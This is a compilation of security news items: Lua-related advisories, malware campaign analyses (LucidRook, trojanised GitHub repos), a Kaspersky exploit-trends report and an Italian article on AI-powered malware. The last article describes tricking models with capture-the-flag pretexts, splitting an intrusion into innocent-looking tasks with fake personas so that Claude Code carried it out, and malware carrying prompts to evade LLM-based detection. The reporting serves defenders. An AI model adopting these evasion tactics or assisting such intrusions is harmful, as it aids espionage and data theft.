hacking contest surfaced it. Code review never did.

Details It was discovered that the Lua parser incorrectly handled garbage collection when processing specially crafted Lua scripts. A remote attacker could possibly use this issue to cause a denial of service or execute arbitrary code. The problem can be corrected by updating your system to the following package versions: Reduce your security exposure Ubuntu Pro provides ten-year security coverage to 25,000+ packages in Main and Universe repositories, and it is free for up to five machines.

A previously undocumented threat cluster dubbed UAT-10362 has been attributed to spear-phishing campaigns targeting Taiwanese non-governmental organizations (NGOs) and suspected universities to deploy a new Lua-based malware called LucidRook. "LucidRook is a sophisticated stager that embeds a Lua interpreter and Rust-compiled libraries within a dynamic-link library (DLL) to download and execute staged Lua bytecode payloads," Cisco Talos researcher Ashley Shen said. The cybersecurity company said it discovered the activity in October 2025, with the attack using RAR or 7-Zip archives lures to deliver a dropper called LucidPawn, which then opens a decoy file and launches LucidRook. A notable characteristic of the intrusion set is the use of DLL side-loading to execute both LucidPawn and LucidRook. There are two distinct infection chains that lead to LucidRook, one using a Windows Shortcut (LNK) file with a PDF icon and another involving an executable that masquerades as an antivirus program from Trend Micro. The entire sequence is listed below - LNK-based infection chain - When the user clicks the LNK file, assuming it's a PDF document, it executes a PowerShell script to run a legitimate Windows binary ("index.exe") present in the archive, which then sideloads a malicious DLL (i.e., LucidPawn). The dropper, for its part, once again employs DLL side-loading to run LucidRook. EXE-based infection chain - When the purported Trend Micro program ("Cleanup.exe") within the 7-Zip archive is launched, it acts as a simple .NET dropper that employs DLL side-loading to run LucidRook. Upon execution, the binary displays a message stating the cleanup process has completed. A 64-bit Windows DLL, LucidRook, is heavily obfuscated to deter analysis and detection. Its functionality is two-pronged: it collects system information and exfiltrates it to an external server, and then receives an encrypted Lua bytecode payload for subsequent decryption and execution on the compromised machine using the embedded Lua 5.4.8 interpreter. "In both cases, the actor abused an Out-of-band Application Security Testing (OAST) service and compromised FTP servers for command-and-control (C2) infrastructure," Talos said. LucidPawn also implements a geofencing technique that specifically queries the system UI language and continues execution only if it matches Traditional Chinese environments associated with Taiwan ("zh-TW"). This offers two-fold advantages, as it limits execution to the intended victim geography and avoids getting flagged in common analysis sandboxes. Furthermore, at least one variant of the dropper has been found to deploy a 64-bit Windows DLL named LucidKnight that's capable of exfiltrating system information via Gmail to a temporary email address. The presence of the reconnaissance tool alongside LucidRook suggests the adversary operates a tiered toolkit, potentially using LucidKnight to profile targets before delivering the LucidRook stager. Not much is known about UAT-10362 at this stage other than the fact that it's likely a sophisticated threat actor whose campaigns are targeted rather than opportunistic, while prioritizing flexibility, stealth, and victim-specific tasking. "The multi-language modular design, layered anti-analysis features, stealth-focused payload handling of the malware, and reliance on compromised or public infrastructure indicate UAT-10362 is a capable threat actor with mature operational tradecraft," Talos said.

Rspamd 4.0.0 ships memory savings, a new scan protocol, and a required migration step The open-source spam filtering platform Rspamd released version 4.0.0, delivering infrastructure changes across its scan protocol, memory model, hash storage, and configuration system. Several of the changes are breaking, and at least one requires a migration step before upgrade. A new scan protocol The release introduces a /checkv3 endpoint that replaces HTTP headers with structured JSON or msgpack for metadata transport. The new endpoint uses multipart/form-data for requests and multipart/mixed for responses, supports per-part zstd compression, includes an optional body part for rewritten messages, and uses zero-copy piecewise writev for response output. Operators can activate the new protocol with the rspamc --protocol-v3 or rspamc --msgpack flags. The previous protocol remains available. Fasttext goes built-in, cuts memory use Rspamd previously depended on an external C++ libfasttext library. Version 4 removes that dependency and replaces it with a built-in mmap-based shim that loads model data into shared memory across all worker processes. The change eliminates per-worker heap copies of model data, which the project estimates saved between 500MB and 7GB of RAM in multi-worker deployments, depending on model size. Existing .bin and .ftz model files continue to work without modification. The ENABLE_FASTTEXT cmake option is removed; Fasttext support is now always compiled in. Packagers must remove the external libfasttext build dependency. Fuzzy hashes gain multiple flags A stored fuzzy hash previously carried a single flag. Version 4 allows a single digest to carry up to eight flags simultaneously, so multiple detection rules can match the same hash independently without duplicating the stored entry. The Redis update logic was rewritten in Lua with EVALSHA and NOSCRIPT recovery. The release also introduces an HTML_FUZZY_PHISHING symbol. It fires when an HTML template matches a known phishing template but the embedded domains differ, targeting phishing campaigns that reuse a template structure while swapping out links. The wire protocol moves to epoch 12 and remains backward-compatible. The highest-value flag occupies the primary slot. Ring Hash replaces Jump Hash Rspamd used Jump Hash for consistent upstream hashing in sharded Bayes deployments. Version 4 replaces it with Ring Hash (Ketama) with virtual nodes. Under Ring Hash, only roughly 1/n keys redistribute when an upstream fails, and keys return to their original upstream when it recovers. This change is a breaking one for operators running per-user Bayes on sharded Redis. After the upgrade, existing data lands on the wrong shards. The project requires operators to run rspamadm statistics_dump migrate before upgrading. Single-server deployments are not affected. HTTPS support added natively Workers can now serve HTTPS without a reverse proxy in front. SSL is auto-detected from bind socket configuration. The previous ssl = true worker option is removed; operators should remove it from configs and apply the ssl suffix to bind lines. Token bucket load balancing becomes the default Proxy upstream load balancing switches from simple round-robin to token bucket balancing by default. The algorithm accepts configurable max_tokens, scale, and base_cost parameters for burst traffic handling. Operators who want to restore round-robin can remove the token_bucket key from proxy upstream config. Jinja2 templating for configuration files Configuration files are now preprocessed by the Lupa Jinja2-compatible template engine before UCL parsing. Environment variables prefixed with RSPAMD_ are available inside templates as the env table. The templating system uses modified delimiters ({= =} for expressions, {% %} for control structures) to avoid conflicts with UCL syntax. Validation filters including mandatory, require_int, and require_json abort startup on invalid input, which the project intends to support container deployments that configure Rspamd through environment variables. Other additions and fixes Rspamd 4 adds native UUID v7 generation per scanning task, synchronized with the Log-Tag header and ClickHouse UUID v7 column support. The Bayesian classifier gains multiclass support, allowing classifiers to learn arbitrary categories beyond binary spam/ham. The WebUI learning interface is updated accordingly. Hyperscan compilation moves to an async Lua backend with Redis-based shared cache across workers and hosts. Multiple use-after-free conditions in Hyperscan cache handling during live configuration reload are resolved. SenderScore RBLs are disabled by default in this release. The project notes that the rules require a MyValidity account and were returning blocked results for all unregistered IPs. Operators with registered accounts must explicitly re-enable the rules. PDF parsing receives fixes for ASCII85 decoding, ligature substitution, and object padding evasion. DKIM unknown and broken key handling is updated to follow RFC behavior. A memory leak in the RSA path of DKIM signing is fixed, as is a SHA-1 DKIM signature crypto-policy bypass on RHEL/CentOS 10. A use-after-free in fuzzy UDP sessions and a CPU busy-loop in the fuzzy TCP client are also resolved in this release. Rspamd is available for free download on GitHub. Must read: 40 open-source tools redefining how security teams secure the stack Firmware scanning time, cost, and where teams run EMBA Subscribe to the Help Net Security ad-free monthly newsletter to stay informed on the essential open-source cybersecurity tools. Subscribe here!

GitHub-hosted malware campaign uses split payload to evade detection A large-scale malware delivery campaign has been targeting developers, gamers, and general users through fake tools hosted on GitHub, Netskope researchers have warned. These “lures” are highly polished and appear legitimate, occasionally mimicking real projects, thus making them difficult to distinguish from safe software. A dual-component trojan is delivered Netskope threat researchers first discovered a trojanized GitHub repository ostensibly offering a Docker image of the OpenClaw AI assistant. The repo was very convincing. “The README is polished and detailed, with installation instructions for both Linux and Windows and a companion GitHub.io page reinforces the legitimate appearance. Multiple contributors are listed, including a developer with a 568-star repository of their own, who was invited to collaborate during a private pre-launch phase. That developer contributed real, functional code to the scaffolding—Dockerfiles, install scripts, and configuration—possibly in good faith,” the researchers noted. “Multiple throwaway GitHub accounts added stars and forks to the repositories without any legitimate activity, padding the credibility signal that the commit history alone could not provide.” But the payload is actually a custom LuaJIT-based trojan designed to evade detection. It uses a two-part structure – a legitimate runtime for executing Lua scripts (1unc.exe) and an obfuscated, encrypted script (license.txt) – that appear harmless when analyzed separately, but become malicious when executed together. “This two-component design is deliberate. Standard automated analysis submits files individually. Each component passes and the malicious behavior only emerges when the batch file arms the pair in the right sequence,” the researchers explained. Once active, the malware quickly performs five anti-analysis checks and delays execution to bypass sandboxes. It also captures disables proxy auto-detection, checks the victim’s geolocation, captures a full screenshot of the victim’s desktop and sends it to the attackers, and waits for instructions from the command and control server. The malware in action (Source: Netskope) The attackers’ ultimate goal is to deliver an infostealer to the compromised users. To do that, they have distributed over 300 malicious packages disguised as AI developer tools, game cheats, crypto bots, Roblox scripts, and VPN crackers. Common toolchain reveals AI-assisted malware campaign The researchers found the same malicious binary in other repositories, operated by other user accounts. Two of these fake tools – a phone number location tracking tool and a tool for unlocking an advanced experience in the online game Fishing Planet – are still “phishing” for victims on GitHub. All these malicious packages share the same underlying toolchain and infrastructure. The naming patterns of the fake projects suggest that AI may be used to generate large volumes of convincing content at scale, allowing attackers to rapidly expand their reach across different audiences and platforms.  “What this campaign represents is a purpose-built gap in the automated analysis pipeline,” the researchers noted. “It includes two inert components that only become dangerous when executed together, a payload that sleeps for 29,000 years the moment a sandbox starts timing, and a lure factory that rotates audiences while the infrastructure stays constant.” Subscribe to our breaking news e-mail alert to never miss out on the latest breaches, vulnerabilities and cybersecurity threats. Subscribe here!

Details It was discovered that Valkey incorrectly handled errors for lua scripts. An attacker could possibly use this issue to inject arbitrary information into the response stream for other clients. (CVE-2025-67733) It was discovered that Valkey incorrectly handled malformed cluster bus messages. A remote attacker could possibly use this issue to cause Valkey to crash, resulting in a denial of service. (CVE-2026-21863) It was discovered that Valkey incorrectly handled errors for lua scripts. An attacker could possibly use this issue to inject arbitrary information into the response stream for other clients. (CVE-2025-67733) It was discovered that Valkey incorrectly handled malformed cluster bus messages. A remote attacker could possibly use this issue to cause Valkey to crash, resulting in a denial of service. (CVE-2026-21863) The problem can be corrected by updating your system to the following package versions: Reduce your security exposure Ubuntu Pro provides ten-year security coverage to 25,000+ packages in Main and Universe repositories, and it is free for up to five machines.

The U.S. Cybersecurity and Infrastructure Security Agency (CISA) on Monday added a medium-severity security flaw impacting Wing FTP to its Known Exploited Vulnerabilities (KEV) catalog, citing evidence of active exploitation. The vulnerability, CVE-2025-47813 (CVSS score: 4.3), is an information disclosure vulnerability that leaks the installation path of the application under certain conditions. "Wing FTP Server contains a generation of error messages containing sensitive information vulnerability when using a long value in the UID cookie," CISA said. The shortcoming affects all versions of the software prior to and including version 7.4.3. The issue was addressed in version 7.4.4, shipped in May following a responsible disclosure by RCE Security researcher Julien Ahrens. It's worth noting that version 7.4.4 also patches CVE-2025-47812 (CVSS score: 10.0), another critical bug in the same product that allows for remote code execution. As of July 2025, the vulnerability has come under active exploitation in the wild. According to details shared by Huntress at the time, attackers have leveraged it to download and execute malicious Lua files, conduct reconnaissance, and install remote monitoring and management software. Ahrens, in a proof-of-concept (PoC) exploit, shared on GitHub, noted that the endpoint at "/loginok.html" does not properly validate the value of the "UID" session cookie. As a result, if the supplied value is longer than the maximum path size of the underlying operating system, it triggers an error message that discloses the full local server path. "Successful exploits can allow an authenticated attacker to get the local server path of the application, which can help in exploiting vulnerabilities like CVE-2025-47812," the researcher added. There are currently no details on how the vulnerability is being exploited in the wild, and if it's being abused in conjunction with CVE-2025-47812. In light of the latest development, Federal Civilian Executive Branch (FCEB) agencies are recommended to apply the necessary fixes by March 30, 2026.

VulHunt: Open-source vulnerability detection framework Binarly has published VulHunt Community Edition, making the core scanning engine from Binarly’s commercial Transparency Platform available to independent researchers and practitioners. What VulHunt does VulHunt Community Edition is a framework for detecting vulnerabilities in compiled software. It operates against multiple binary representations simultaneously, working across disassembly, an intermediate representation layer, and decompiled code. Targets include POSIX executables and UEFI firmware modules. The detection logic is expressed in Lua rules. Each rule specifies metadata such as the author and rule name, filtering criteria like target platform and processor architecture, and a set of scopes that define what to look for in the binary. Scopes can operate at the project level, against individual functions, or against call sites. The documentation includes worked examples covering buffer overflows, authentication bypasses, and UEFI module vulnerabilities. Rules run against binaries without requiring source code. The engine accepts single binary files, Binary Ninja databases, and BA2 archives, which are multi-component archive formats used within the Binarly toolchain. The BIAS layer underneath VulHunt sits on top of the Binary Analysis and Inspection System, internally called BIAS, which Binarly developed as the underlying analysis substrate. BIAS provides the analysis environment that VulHunt rules query against. The community edition ships the BIAS core as part of the open-source release, with the codebase split primarily between C++ and Rust. What the Community Edition covers VulHunt supports POSIX binary scanning, UEFI module scanning, a basic dataflow engine, function signature support, type library support, and module support. Supported architectures are x86, x86-64, ARM, and AArch64. It also includes integration with the Binarly Transparency Platform, allowing researchers to push rule sets, trigger scans, retrieve findings, and download BA2 archives from the same CLI. Rules written by community contributors run on Enterprise deployments without modification, making community-developed rule packs directly portable to commercial environments. MCP server and AI agent integration VulHunt can operate as a Model Context Protocol server, exposing its analysis capabilities to AI assistants over a streaming HTTP connection with Server-Sent Events transport, or alternatively over stdio. This allows an LLM to call into the VulHunt engine during analysis sessions. To support structured agent workflows, Binarly ships a set of Claude Skills alongside VulHunt. These are structured instruction files that teach an AI agent how to use VulHunt’s MCP tools for specific analysis tasks. VulHunt Community Edition is available for free on GitHub. Must read: 40 open-source tools redefining how security teams secure the stack Firmware scanning time, cost, and where teams run EMBA Subscribe to the Help Net Security ad-free monthly newsletter to stay informed on the essential open-source cybersecurity tools. Subscribe here!

The fourth quarter of 2025 went down as one of the most intense periods on record for high-profile, critical vulnerability disclosures, hitting popular libraries and mainstream applications. Several of these vulnerabilities were picked up by attackers and exploited in the wild almost immediately. In this report, we dive into the statistics on published vulnerabilities and exploits, as well as the known vulnerabilities leveraged with popular C2 frameworks throughout Q4 2025. Statistics on registered vulnerabilities This section contains statistics on registered vulnerabilities. The data is taken from cve.org. Let’s take a look at the number of registered CVEs for each month over the last five years, up to and including the end of 2025. As predicted in our last report, Q4 saw a higher number of registered vulnerabilities than the same period in 2024, and the year-end totals also cleared the bar set the previous year. Total published vulnerabilities by month from 2021 through 2025 (download) Now, let’s look at the number of new critical vulnerabilities (CVSS > 8.9) for that same period. Total number of published critical vulnerabilities by month from 2021 to 2025< (download) The graph shows that the volume of critical vulnerabilities remains quite substantial; however, in the second half of the year, we saw those numbers dip back down to levels seen in 2023. This was due to vulnerability churn: a handful of published security issues were revoked. The widespread adoption of secure development practices and the move toward safer languages also pushed those numbers down, though even that couldn’t stop the overall flood of vulnerabilities. Exploitation statistics This section contains statistics on the use of exploits in Q4 2025. The data is based on open sources and our telemetry. Windows and Linux vulnerability exploitation In Q4 2025, the most prevalent exploits targeted the exact same vulnerabilities that dominated the threat landscape throughout the rest of the year. These were exploits targeting Microsoft Office products with unpatched security flaws. Kaspersky solutions detected the most exploits on the Windows platform for the following vulnerabilities: CVE-2018-0802: a remote code execution vulnerability in Equation Editor. CVE-2017-11882: another remote code execution vulnerability, also affecting Equation Editor. CVE-2017-0199: a vulnerability in Microsoft Office and WordPad that allows an attacker to assume control of the system. The list has remained unchanged for years. We also see that attackers continue to adapt exploits for directory traversal vulnerabilities (CWE-35) when unpacking archives in WinRAR. They are being heavily leveraged to gain initial access via malicious archives on the Windows operating system: CVE-2023-38831: a vulnerability stemming from the improper handling of objects within an archive. CVE-2025-6218 (formerly ZDI-CAN-27198): a vulnerability that enables an attacker to specify a relative path and extract files into an arbitrary directory. This can lead to arbitrary code execution. We covered this vulnerability in detail in our Q2 2025 report. CVE-2025-8088: a vulnerability we analyzed in our previous report, analogous to CVE-2025-6218. The attackers used NTFS streams to circumvent controls on the directory into which files were being unpacked. As in the previous quarter, we see a rise in the use of archiver exploits, with fresh vulnerabilities increasingly appearing in attacks. Below are the exploit detection trends for Windows users over the last two years. Dynamics of the number of Windows users encountering exploits, Q1 2024 – Q4 2025. The number of users who encountered exploits in Q1 2024 is taken as 100% (download) The vulnerabilities listed here can be used to gain initial access to a vulnerable system. This highlights the critical importance of timely security updates for all affected software. On Linux-based devices, the most frequently detected exploits targeted the following vulnerabilities: CVE-2022-0847, also known as Dirty Pipe: a vulnerability that allows privilege escalation and enables attackers to take control of running applications. CVE-2019-13272: a vulnerability caused by improper handling of privilege inheritance, which can be exploited to achieve privilege escalation. CVE-2021-22555: a heap overflow vulnerability in the Netfilter kernel subsystem. CVE-2023-32233: another vulnerability in the Netfilter subsystem that creates a use-after-free condition, allowing for privilege escalation due to the improper handling of network requests. Dynamics of the number of Linux users encountering exploits, Q1 2024 – Q4 2025. The number of users who encountered exploits in Q1 2024 is taken as 100% (download) We are seeing a massive surge in Linux-based exploit attempts: in Q4, the number of affected users doubled compared to Q3. Our statistics show that the final quarter of the year accounted for more than half of all Linux exploit attacks recorded for the entire year. This surge is primarily driven by the rapidly growing number of Linux-based consumer devices. This trend naturally attracts the attention of threat actors, making the installation of security patches critically important. Most common published exploits The distribution of published exploits by software type in Q4 2025 largely mirrors the patterns observed in the previous quarter. The majority of exploits we investigate through our monitoring of public research, news, and PoCs continue to target vulnerabilities within operating systems. Distribution of published exploits by platform, Q1 2025 (download) Distribution of published exploits by platform, Q2 2025 (download) Distribution of published exploits by platform, Q3 2025 (download) Distribution of published exploits by platform, Q4 2025 (download) In Q4 2025, no public exploits for Microsoft Office products emerged; the bulk of the vulnerabilities were issues discovered in system components. When calculating our statistics, we placed these in the OS category. Vulnerability exploitation in APT attacks We analyzed which vulnerabilities were utilized in APT attacks during Q4 2025. The following rankings draw on our telemetry, research, and open-source data. TOP 10 vulnerabilities exploited in APT attacks, Q4 2025 (download) In Q4 2025, APT attacks most frequently exploited fresh vulnerabilities published within the last six months. We believe that these CVEs will remain favorites among attackers for a long time, as fixing them may require significant structural changes to the vulnerable applications or the user’s system. Often, replacing or updating the affected components requires a significant amount of resources. Consequently, the probability of an attack through such vulnerabilities may persist. Some of these new vulnerabilities are likely to become frequent tools for lateral movement within user infrastructure, as the corresponding security flaws have been discovered in network services that are accessible without authentication. This heavy exploitation of very recently registered vulnerabilities highlights the ability of threat actors to rapidly implement new techniques and adapt old ones for their attacks. Therefore, we strongly recommend applying the security patches provided by vendors. C2 frameworks In this section, we will look at the most popular C2 frameworks used by threat actors and analyze the vulnerabilities whose exploits interacted with C2 agents in APT attacks. The chart below shows the frequency of known C2 framework usage in attacks against users during Q4 2025, according to open sources. TOP 10 C2 frameworks used by APTs to compromise user systems in Q4 2025 (download) Despite the significant footprints it can leave when used in its default configuration, Sliver continues to hold the top spot among the most common C2 frameworks in our Q4 2025 analysis. Mythic and Havoc were second and third, respectively. After reviewing open sources and analyzing malicious C2 agent samples that contained exploits, we found that the following vulnerabilities were used in APT attacks involving the C2 frameworks mentioned above: CVE-2025-55182: a React2Shell vulnerability in React Server Components that allows an unauthenticated user to send commands directly to the server and execute them from RAM. CVE-2023-36884: a vulnerability in the Windows Search component that allows the execution of commands on a system, bypassing security mechanisms built into Microsoft Office applications. CVE-2025-53770: a critical insecure deserialization vulnerability in Microsoft SharePoint that allows an unauthenticated user to execute commands on the server. CVE-2020-1472, also known as Zerologon, allows for compromising a vulnerable domain controller and executing commands as a privileged user. CVE-2021-34527, also known as PrintNightmare, exploits flaws in the Windows print spooler subsystem, enabling remote access to a vulnerable OS and high-privilege command execution. CVE-2025-8088 and CVE-2025-6218 are similar directory-traversal vulnerabilities that allow extracting files from an archive to a predefined path without the archiving utility notifying the user. The set of vulnerabilities described above suggests that attackers have been using them for initial access and early-stage maneuvers in vulnerable systems to create a springboard for deploying a C2 agent. The list of vulnerabilities includes both zero-days and well-known, established security issues. Notable vulnerabilities This section highlights the most noteworthy vulnerabilities that were publicly disclosed in Q4 2025 and have a publicly available description. React2Shell (CVE-2025-55182): a vulnerability in React Server Components We typically describe vulnerabilities affecting a specific application. CVE-2025-55182 stood out as an exception, as it was discovered in React, a library primarily used for building web applications. This means that exploiting the vulnerability could potentially disrupt a vast number of applications that rely on the library. The vulnerability itself lies in the interaction mechanism between the client and server components, which is built on sending serialized objects. If an attacker sends serialized data containing malicious functionality, they can execute JavaScript commands directly on the server, bypassing all client-side request validation. Technical details about this vulnerability and an example of how Kaspersky solutions detect it can be found in our article. CVE-2025-54100: command injection during the execution of curl (Invoke-WebRequest) This vulnerability represents a data-handling flaw that occurs when retrieving information from a remote server: when executing the curl or Invoke-WebRequest command, Windows launches Internet Explorer in the background. This can lead to a cross-site scripting (XSS) attack. CVE-2025-11001: a vulnerability in 7-Zip This vulnerability reinforces the trend of exploiting security flaws found in file archivers. The core of CVE-2025-11001 lies in the incorrect handling of symbolic links. An attacker can craft an archive so that when it is extracted into an arbitrary directory, its contents end up in the location pointed to by a symbolic link. The likelihood of exploiting this vulnerability is significantly reduced because utilizing such functionality requires the user opening the archive to possess system administrator privileges. This vulnerability was associated with a wave of misleading news reports claiming it was being used in real-world attacks against end users. This misconception stemmed from an error in the security bulletin. RediShell (CVE-2025-49844): a vulnerability in Redis The year 2025 saw a surge in high-profile vulnerabilities, several of which were significant enough to earn a unique nickname. This was the case with CVE-2025-49844, also known as RediShell, which was unveiled during a hacking competition. This vulnerability is a use-after-free issue related to how the load command functions within Lua interpreter scripts. To execute the attack, an attacker needs to prepare a malicious script and load it into the interpreter. As with any named vulnerability, RediShell was immediately weaponized by threat actors and spammers, albeit in a somewhat unconventional manner. Because technical details were initially scarce following its disclosure, the internet was flooded with fake PoC exploits and scanners claiming to test for the vulnerability. In the best-case scenario, these tools were non-functional; in the worst, they infected the system. Notably, these fraudulent projects were frequently generated using LLMs. They followed a standardized template and often cross-referenced source code from other identical fake repositories. CVE-2025-24990: a vulnerability in the ltmdm64.sys driver Driver vulnerabilities are often discovered in legitimate third-party applications that have been part of the official OS distribution for a long time. Thus, CVE-2025-24990 has existed within code shipped by Microsoft throughout nearly the entire history of Windows. The vulnerable driver has been shipped since at least Windows 7 as a third-party driver for Agere Modem. According to Microsoft, this driver is no longer supported and, following the discovery of the flaw, was removed from the OS distribution entirely. The vulnerability itself is straightforward: insecure handling of IOCTL codes leading to a null pointer dereference. Successful exploitation can lead to arbitrary command execution or a system crash resulting in a blue screen of death (BSOD) on modern systems. CVE-2025-59287: a vulnerability in Windows Server Update Services (WSUS) CVE-2025-59287 represents a textbook case of insecure deserialization. Exploitation is possible without any form of authentication; due to its ease of use, this vulnerability rapidly gained traction among threat actors. Technical details and detection methodologies for our product suite have been covered in our previous advisories. Conclusion and advice In Q4 2025, the rate of vulnerability registration has shown no signs of slowing down. Consequently, consistent monitoring and the timely application of security patches have become more critical than ever. To ensure resilient defense, it is vital to regularly assess and remediate known vulnerabilities while implementing technology designed to mitigate the impact of potential exploits. Continuous monitoring of infrastructure, including the network perimeter, allows for the timely identification of threats and prevents them from escalating. Effective security also demands tracking the current threat landscape and applying preventative measures to minimize risks associated with system flaws. Kaspersky Next serves as a reliable partner in this process, providing real-time identification and detailed mapping of vulnerabilities within the environment. Securing the workplace remains a top priority. Protecting corporate devices requires the adoption of solutions capable of blocking malware and preventing it from spreading. Beyond basic measures, organizations should implement adaptive systems that allow for the rapid deployment of security updates and the automation of patch management workflows.

L’intelligenza artificiale sta già modificando il lavoro degli attaccanti, ma non nel modo “cinematografico” a cui alcuni, spesso non addetti ai lavori, già pensano. Il cambiamento più concreto, oggi, è la scalabilità: più campagne, più veloci, più convincenti. Ciò detto è rilevante dal punto di vista tecnico una novità che merita un’analisi più approfondita, per capire se e quanto c’è da preoccuparsi. Ossia i primi casi documentati di malware e campagne operative che interrogano modelli linguistici durante l’esecuzione, e di agentic AI usata per orchestrare fasi intere di intrusione. No, non c’è ancora il super-attaccante artificiale autonomo (secondo alcuni costerebbe miliardi di dollari con le attuali tecniche). Ma è bene capire quali componenti tecniche si stanno consolidando e quando diventano replicabili da gruppi non statali o da criminalità organizzata. Indice degli argomenti La svolta “just-in-time”: malware che usa l’LLM in tempo reale Nel report “AI Threat Tracker” pubblicato a novembre 2025 e poi aggiornato qualche giorno fa, Google Threat Intelligence Group (gtig) parla esplicitamente di “nuova fase operativa” dell’abuso di AI: gli avversari non usano più i modelli solo come supporto (scrivere script, tradurre, fare ricerca), ma integrano l’AI nel malware, chiamandola per generare comandi, offuscare codice, cambiare comportamento. È qui che la soglia di rischio si alza: se il codice malevolo non è più “impacchettato” e statico, ma si compone al momento, i controlli basati su firme e indicatori ripetibili perdono efficacia. E si sposta l’attenzione su telemetria, egress, abusi di API e pattern comportamentali. Tra i casi più istruttivi descritti da gtig c’è PromptFlux, un dropper in VBScript che usa l’API di Gemini per rigenerare il proprio sorgente. Il meccanismo, nelle descrizioni del report, è quasi didattico: il malware chiede al modello di riscrivere e offuscare il codice, poi salva la nuova versione nella cartella di startup per persistenza e tenta anche di propagarsi su drive rimovibili e share di rete. Il dettaglio tecnico che conta è l’idea “metamorfica” guidata da LLM: gtig descrive un modulo (“Thinking Robot”) progettato per interrogare periodicamente Gemini e ottenere nuovo codice di evasione antivirus, usando persino il tag di modello “gemini-1.5-flash-latest” per restare agganciato alla release stabile più recente. Le risposte vengono loggate in un file temporaneo (indicazione utile per detection), e il codice mostra funzioni pensate per auto-aggiornarsi anche se alcune risultano commentate o incomplete, segno di sviluppo o test. gtig sottolinea anche un punto che spesso si perde: PromptFlux, nello stato osservato, non dimostra ancora capacità “complete” di compromissione, ma è un indicatore di direzione: offuscamento e rigenerazione dinamica per eludere detection statiche. Ancora più interessante, perché già visto in operazioni, è PromptSteal (noto anche come LAMEHUG nei report ucraini): un data miner attribuito a un attore governativo russo (APT28/FROZENLAKE) che interroga un LLM per farsi generare comandi di sistema, invece di inserirli staticamente nel codice (“hardcoded”). Secondo gtig, il malware usa Qwen2.5-Coder-32B-Instruct via API di Hugging Face per produrre one-liner Windows, poi li esegue localmente e invia i risultati a un server controllato dall’avversario. Qui la componente “ai” non è decorativa: il report evidenzia che PromptSteal maschera la propria funzione come programma di “image generation”, mentre in background usa prompt mirati per ottenere comandi di raccolta informazioni e copia documenti. L’ipotesi è che sfrutti token API rubati; e i campioni mostrano evoluzioni (più offuscamento, cambio del metodo di c2), segnale di un filone in sviluppo attivo. Nella stessa panoramica, gtig cita QuietVault, un infostealer in JavaScript focalizzato su token GitHub e npm, con un tratto anomalo: usa prompt e strumenti di AI cli presenti sull’host per cercare ulteriori segreti e poi esfiltrarli tramite la creazione di un repository GitHub pubblico. C’è poi FruitShell, una reverse shell PowerShell che, secondo la tabella del report, contiene prompt hardcoded pensati per aggirare rilevamenti o analisi basate su LLM: un promemoria utile per i difensori che stanno introducendo controlli “AI-driven” senza considerare che gli attaccanti possono iniziare a progettare malware “contro” quei controlli. gtig dedica spazio anche a un pattern che sta diventando standard: gli attori malevoli adottano pretesti “social engineering” per convincere i modelli a restituire informazioni bloccate. Un esempio citato è l’uso della narrativa capture-the-flag per ottenere indicazioni utili su vulnerabilità e sfruttamento dopo un primo rifiuto del modello. Non è un dettaglio folkloristico: dice che i controlli basati solo su “keyword” o intent superficiale sono fragili, e che la linea tra richiesta legittima e uso offensivo può essere aggirata con contesto costruito bene. Il salto più netto, lato intrusione, è descritto nel report di Anthropic su GTG-1002 (novembre 2025): un’operazione di spionaggio attribuita con “high confidence” a un gruppo cinese, con circa 30 entità nel mirino e alcune intrusioni confermate. La parte che interessa davvero chi fa difesa è l’architettura operativa: Anthropic descrive un framework che usa Claude Code e strumenti standard integrati via Model Context Protocol (mcp), con istanze del modello organizzate in gruppi come “penetration testing orchestrators and agents”. L’AI avrebbe eseguito l’80–90% del lavoro tattico a ritmi incompatibili con un operatore umano (migliaia di richieste, più operazioni al secondo), mentre gli umani restano su selezione target e autorizzazioni ai punti di escalation. Anthropic spezza la campagna in fasi e task: ricognizione e mappatura superficie d’attacco, analisi vulnerabilità, sviluppo exploit con validazione via callback, delivery e foothold, poi credential harvesting, lateral movement, raccolta ed estrazione dati. In diversi passaggi l’umano interviene solo il passaggio da recon a exploit, autorizza l’uso di credenziali sensibili, decide l’ampiezza dell’esfiltrazione. Due elementi tecnici meritano di restare in evidenza. Il primo è la “tattica del frazionamento”: Anthropic spiega che il framework scompone attacchi complessi in task discreti (scan, validazione credenziali, estrazione dati), ciascuno “legittimo” se valutato da solo. E li presenta al modello con prompt e “personas” costruite per ottenere esecuzione senza far emergere il contesto malevolo complessivo. Il secondo è la scelta di strumenti “commodity”: l’infrastruttura, dice Anthropic, si basa “overwhelmingly” su tool open source di pentest (scanner di rete, framework per database exploitation, password cracker, binary analysis), orchestrati da server mcp che permettono esecuzione remota comandi, browser automation per recon web, integrazione di testing framework e canali di callback per conferma exploitation. L’innovazione non è la singola tecnica offensiva, ma l’integrazione che rende l’operazione scalabile. C’è anche un limite concreto, utile per ridimensionare il rischio senza negarlo: Anthropic nota che il modello sovrastima spesso i risultati e talvolta fabbrica dati, ad esempio credenziali “ottenute” che poi non funzionano o scoperte presentate come critiche ma già pubbliche. Questo costringe l’attore a verifiche: ostacolo all’autonomia totale. Sul fronte ransomware, il lavoro della NYU Tandon School of Engineering formalizza un modello di attacco che si incastra bene con quanto osservato da gtig: il binario non contiene payload statici, ma set di prompt; il codice malevolo viene sintetizzato a runtime dal modello, producendo varianti polimorfiche e adattate all’ambiente. L’architettura è organizzata in quattro fasi – Reconnaissance, Leverage, Launch, Notify – e in tre tipi di task (coding, validation, analysis) governati da template di system prompt. Il prototipo (ancora da laboratorio e non ritrovato in the wild) genera ed esegue script in Lua e lo fa dentro un interprete embedded, in-memory, senza necessariamente scrivere codice su disco: una scelta motivata dagli autori con footprint ridotto e portabilità (un binario intorno ai 10 MB). C’è anche un elemento operativo che interessa i difensori: l’interfaccia verso il modello è descritta come endpoint API compatibile OpenAI, quindi agganciabile a backend diversi (self-hosted o servizi commerciali). E gli autori spiegano perché, nei test, privilegiano modelli open source: i provider cloud applicano policy che bloccano richieste legate ad artefatti ransomware e possono arrivare a revoca di chiavi o account; i modelli open riducono la barriera d’ingresso per l’attaccante. Sul piano dei payload, il prototipo implementa tre opzioni core: encrypt, exfiltrate, destroy. Per la cifratura usa SPECK-128 in ECB, scelto perché “leggero” e più facile da implementare per un LLM in Lua; l’esfiltrazione usa I/O file e upload HTTP; la distruzione fa overwrite multipli e cancellazione. Nei risultati sperimentali, il paper riporta tassi di successo elevati nella pipeline e mostra due aspetti che contano per la difesa. Primo: la polimorfia naturale (nessuna generazione identica tra run, anche a prompt invariati), che complica detection basata su firme. Secondo: la superficie di rilevamento si sposta perché l’attacco può 